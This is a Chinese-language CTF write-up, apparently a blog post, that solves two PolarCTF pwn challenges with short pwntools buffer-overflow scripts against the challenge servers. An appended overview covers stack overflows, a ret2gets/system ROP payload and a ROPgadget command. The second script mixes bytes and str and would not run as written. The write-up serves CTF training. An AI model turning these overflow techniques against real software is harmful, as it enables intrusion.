Polar PWN内容WP 四

利用缓冲区溢出攻破CTF挑战

没人能拒绝猫猫

先去下载文件,然后导入到虚拟机中file和checksec一下

可以看到是64位程序,并且同时开启了金丝雀和NX保护

我们将程序放进IDA中查看一下源码

有一个很明显的后门函数,但是需要一些条件

在我们运行程序的时候会问我们是不是喜欢小猫,此时有两个选项其实不管输入哪个都无法触发后门函数,因为输入的内容是在buf变量中,而参与判断的是s2变量。

我们发现buf变量定义是32个而read可输入的是40个,所以这里有溢出点

buf到s2的距离是0x50-0x30

思路如下:通过溢出buf到s2,再将需要的内容lovecat写入到s2中即可

脚本如下:

from pwn import *
r = remote('120.46.59.242',2106)
elf = ELF('/home/ctfshow/Desktop/cat' )

payload = b'a'*(0x50-0x30)+b'lovecat\x00'
r.sendline(payload)
r.interactive()

打通后即可

what's your name

本关的整体解题思路与前一关一样

32位程序,未开启任何保护

ida查看一下

看不到在哪定义的?不要紧双击进去看一下;

以下思路纯属个人理解:

变量b在0804a06c的位置,变量c在0804a070的位置,所以我们只需要溢出b来到c再将需要的内容写入到c中即可

二者的偏移量为:70-6C

开始编写脚本

from pwn import *
r = remote('120.46.59.242',2052)
elf = ELF('/home/ctfshow/Desktop/pwn2' )

padding = 0x70-0x6c
payload = b'a' * padding + 'tznb\x00'
r.sendline(payload)
r.interactive()

打通后即可

由于本次内容是在上课时做的,所以无法做到很详细,并且内容也会较少

### Polar CTF Pwn 类别解题思路与漏洞利用技巧 #### 深入理解Pwn题目特点 在处理像PolarCTF这样的竞赛中的Pwn题目时,重要的是认识到这些挑战通常涉及内存安全问题,尤其是栈溢出和格式化字符串漏洞。如果学到的知识不成体系,遇到问题时只是浅尝辄止,则难以实现真正意义上的技术提升[^1]。 #### 构建有效载荷(Payload) 对于特定情况下使用`gets()`函数的情况,该函数会跳过前个字节来定位参数位置。因此,在构建用于攻击的有效载荷时,需要精心设计填充字节数量以及目标地址的放置顺序。例如: ```python payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) ``` 这段代码展示了如何通过控制返回地址指向`gets()`函数并最终调用系统命令的方式来进行漏洞利用[^2]。 #### 利用ROP链绕过保护机制 为了克服现代操作系统引入的各种防护措施(如NX位、ASLR等),可以采用基于返回导向编程(ROP)的技术。这涉及到查找二进制文件中存在的有用的小工具(gadgets),并通过组合它们形成所需的指令序列。此过程可以通过运行以下命令自动化完成: ```bash ROPgadget --binary filename --only "pop|ret" ``` 上述命令帮助识别可用于构造ROP链条的关键片段[^3]。 #### 处理不同架构下的差异 当面对不同的CPU架构时,需要注意其特有的细节。比如,在x86_64平台上执行读操作时,第一个参数通常是文件描述符编号(例如标准输入为0),第二个是指向缓冲区的指针,而第三个则是指定要传输的最大字节数目(如512字节对应于十六进制值`0x200uLL`)[^4]。 #### 实际案例分析:Easy_ShellCode 题目解析 考虑一个简单的例子,其中程序分配了一个大小为104个字符的空间给局部变量buf[],但在之后的操作中却尝试从中读取多达256个字符的内容。这种行为显然超出了最初预留区域的边界,从而导致潜在的安全风险——即所谓的“栈溢出”。此类错误可能被恶意用户用来改变程序流或注入任意代码[^5]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值